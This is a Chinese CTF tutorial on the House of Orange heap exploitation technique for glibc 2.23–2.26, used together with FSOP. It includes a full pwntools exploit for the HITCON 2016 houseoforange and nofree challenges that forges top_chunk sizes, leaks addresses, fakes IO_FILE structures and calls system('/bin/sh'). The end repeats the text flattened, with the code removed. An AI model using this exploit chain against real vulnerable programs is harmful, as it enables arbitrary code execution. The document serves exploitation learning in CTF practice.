house of orange & no free
字数 1408 2025-08-25 22:58:47

House of Orange & No Free 利用技术详解

1. 技术概述

House of Orange是一种在程序没有free函数的情况下,通过修改top_chunksize字段,在下一次申请超过top_chunk大小的chunk时,触发将top chunk释放并送入unsorted bin中的技术。该技术通常与FSOP(File Stream Oriented Programming)攻击结合使用。

适用版本

  • glibc 2.23 - 2.26

利用条件

  1. 可以进行unsortedbin attack
  2. 可以触发FSOP

2. 原理分析

基本机制

当程序调用malloc进行分配时,如果fastbin、smallbins、unsorted bin、largebins等均不满足分配要求,_int_malloc函数会尝试使用top chunk。当top chunk也不能满足分配要求时,会执行以下分支:

/* Otherwise, relay to handle system-dependent cases */
else {
    void *p = sysmalloc(nb, av);
    if (p != NULL && __builtin_expect(perturb_byte, 0))
        alloc_perturb(p, bytes);
    return p;
}

关键检查点

sysmalloc函数中对top chunk size的检查:

assert((old_top == initial_top(av) && old_size == 0) ||
       ((unsigned long)(old_size) >= MINSIZE &&
        prev_inuse(old_top) &&
        ((unsigned long)old_end & pagemask) == 0));

top_chunk伪造要求

  1. 伪造的size必须对齐到内存页(通常4KB/0x1000)
  2. size要大于MINSIZE(0x10)
  3. size要小于之后申请的chunk size + MINSIZE(0x10)
  4. size的prev_inuse位必须为1

3. 利用步骤详解

第一阶段:修改top_chunk的size并送入unsorted bin

  1. 首先申请一个小堆块:
add(0x10, 'a')
  1. 通过堆溢出修改top_chunk的size:
pl = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0xfa1)
edit(0x40, pl)
  1. 申请大于修改后size的堆块,将top_chunk送入unsorted bin:
add(0x1000, 'b')

第二阶段:获取libc和heap地址

  1. 分割unsorted bin中的chunk获取libc地址:
add(0x400, 'c'*8)
show()
libc_base = l64() - 0x3c5188
  1. 通过编辑获取heap地址:
edit(0x20, 'd'*0x10)
show()
heap_base = u64(p.recvuntil("\x55")[-6:].ljust(8, b"\x00")) - 0xc0

第三阶段:FSOP攻击准备

  1. 修改new_top_chunk大小,送入smallbin的0x60部分:
pl = 'f'*0x400
pl += p64(0) + p64(0x21)
pl += p64(0)*2
pl += '/bin/sh\x00' + p64(0x61)  # &heap_base+0x4F0
pl += p64(0) + p64(io_list_all - 0x10)
pl += p64(0) + p64(1)
pl += p64(0)*7
pl += p64(heap_base + 0x4F0)  # _chain
pl += p64(0)*13
pl += p64(heap_base + 0x4F0 + 0xD8)  # _IO_file_jumps
pl += p64(0)*2 + p64(sys)
edit(0x1000, pl)

第四阶段:触发攻击

通过申请新堆块触发攻击:

p.sendlineafter('Your choice : ', str(1))

4. 关键数据结构伪造

1. 伪造_IO_list_all

  • 将main_arena+88/96地址写入_IO_list_all
  • 利用smallbin的0x60段篡改_chain字段

2. 伪造IO_2_1_stderr

  • 通过堆溢出在new_top_chunk地址伪造IO_2_1_stdout结构体
  • 篡改vtable表指向

3. 伪造_IO_file_jumps

pl += p64(0)*2 + p64(sys)

5. 例题分析

houseoforange_hitcon_2016

  • 保护全开
  • edit功能存在堆溢出漏洞
  • 利用流程:
    1. 修改top_chunk的size
    2. 分割top_chunk获取地址信息
    3. 伪造IO结构体
    4. 触发FSOP

nofree

  • 与前题类似,存在堆溢出漏洞
  • libc版本2.23
  • 攻击思路相同

6. 完整EXP示例

from pwn import *

context(os='linux', arch='amd64', log_level="debug")

# 初始化
p = process('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

# 功能函数
def add(size, content):
    p.sendlineafter('Your choice : ', str(1))
    p.sendlineafter('Length of name :', str(size))
    p.sendafter('Name :', content)
    p.sendlineafter('Price of Orange:', str(1))
    p.sendlineafter('Color of Orange:', str(2))

def edit(size, content):
    p.sendlineafter('Your choice : ', str(3))
    p.sendlineafter('Length of name :', str(size))
    p.sendafter('Name:', content)
    p.sendlineafter('Price of Orange:', str(1))
    p.sendlineafter('Color of Orange:', str(2))

def show():
    p.sendlineafter('Your choice : ', str(2))

# 攻击开始
add(0x10, 'a')
pl = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0xfa1)
edit(0x40, pl)
add(0x1000, 'b')
add(0x400, 'c'*8)
show()
libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00")) - 0x3c5188
sys = libc_base + libc.sym['system']
io_list_all = libc_base + libc.sym['_IO_list_all']

edit(0x20, 'd'*0x10)
show()
heap_base = u64(p.recvuntil("\x55")[-6:].ljust(8, b"\x00")) - 0xc0

pl = 'f'*0x400
pl += p64(0) + p64(0x21)
pl += p64(sys) + p64(0)
pl += '/bin/sh\x00' + p64(0x61)
pl += p64(0) + p64(io_list_all - 0x10)
pl += p64(0) + p64(1)
pl += p64(0)*7
pl += p64(heap_base + 0x4F0)
pl += p64(0)*13
pl += p64(heap_base + 0x5c8)
pl += p64(0)*2 + p64(sys)
edit(0x1000, pl)

p.sendlineafter('Your choice : ', str(1))
p.interactive()

7. 总结

House of Orange技术的关键在于:

  1. 通过修改top_chunk的size触发其被释放到unsorted bin
  2. 利用unsorted bin attack获取必要的地址信息
  3. 结合FSOP技术实现最终的攻击
  4. 需要精心构造IO_FILE结构体和vtable

该技术在glibc 2.23-2.26版本中有效,是堆利用中一种经典的高级技巧。

House of Orange & No Free 利用技术详解 1. 技术概述 House of Orange是一种在程序没有 free 函数的情况下,通过修改 top_chunk 的 size 字段,在下一次申请超过 top_chunk 大小的chunk时,触发将 top chunk 释放并送入 unsorted bin 中的技术。该技术通常与FSOP(File Stream Oriented Programming)攻击结合使用。 适用版本 glibc 2.23 - 2.26 利用条件 可以进行unsortedbin attack 可以触发FSOP 2. 原理分析 基本机制 当程序调用 malloc 进行分配时,如果fastbin、smallbins、unsorted bin、largebins等均不满足分配要求, _int_malloc 函数会尝试使用 top chunk 。当 top chunk 也不能满足分配要求时,会执行以下分支: 关键检查点 sysmalloc 函数中对 top chunk size 的检查: top_ chunk伪造要求 伪造的size必须对齐到内存页(通常4KB/0x1000) size要大于MINSIZE(0x10) size要小于之后申请的chunk size + MINSIZE(0x10) size的prev_ inuse位必须为1 3. 利用步骤详解 第一阶段:修改top_ chunk的size并送入unsorted bin 首先申请一个小堆块: 通过堆溢出修改top_ chunk的size: 申请大于修改后size的堆块,将top_ chunk送入unsorted bin: 第二阶段:获取libc和heap地址 分割unsorted bin中的chunk获取libc地址: 通过编辑获取heap地址: 第三阶段:FSOP攻击准备 修改new_ top_ chunk大小,送入smallbin的0x60部分: 第四阶段:触发攻击 通过申请新堆块触发攻击: 4. 关键数据结构伪造 1. 伪造_ IO_ list_ all 将main_ arena+88/96地址写入_ IO_ list_ all 利用smallbin的0x60段篡改_ chain字段 2. 伪造IO_ 2_ 1_ stderr 通过堆溢出在new_ top_ chunk地址伪造IO_ 2_ 1_ stdout结构体 篡改vtable表指向 3. 伪造_ IO_ file_ jumps 5. 例题分析 houseoforange_ hitcon_ 2016 保护全开 edit功能存在堆溢出漏洞 利用流程: 修改top_ chunk的size 分割top_ chunk获取地址信息 伪造IO结构体 触发FSOP nofree 与前题类似,存在堆溢出漏洞 libc版本2.23 攻击思路相同 6. 完整EXP示例 7. 总结 House of Orange技术的关键在于: 通过修改top_ chunk的size触发其被释放到unsorted bin 利用unsorted bin attack获取必要的地址信息 结合FSOP技术实现最终的攻击 需要精心构造IO_ FILE结构体和vtable 该技术在glibc 2.23-2.26版本中有效,是堆利用中一种经典的高级技巧。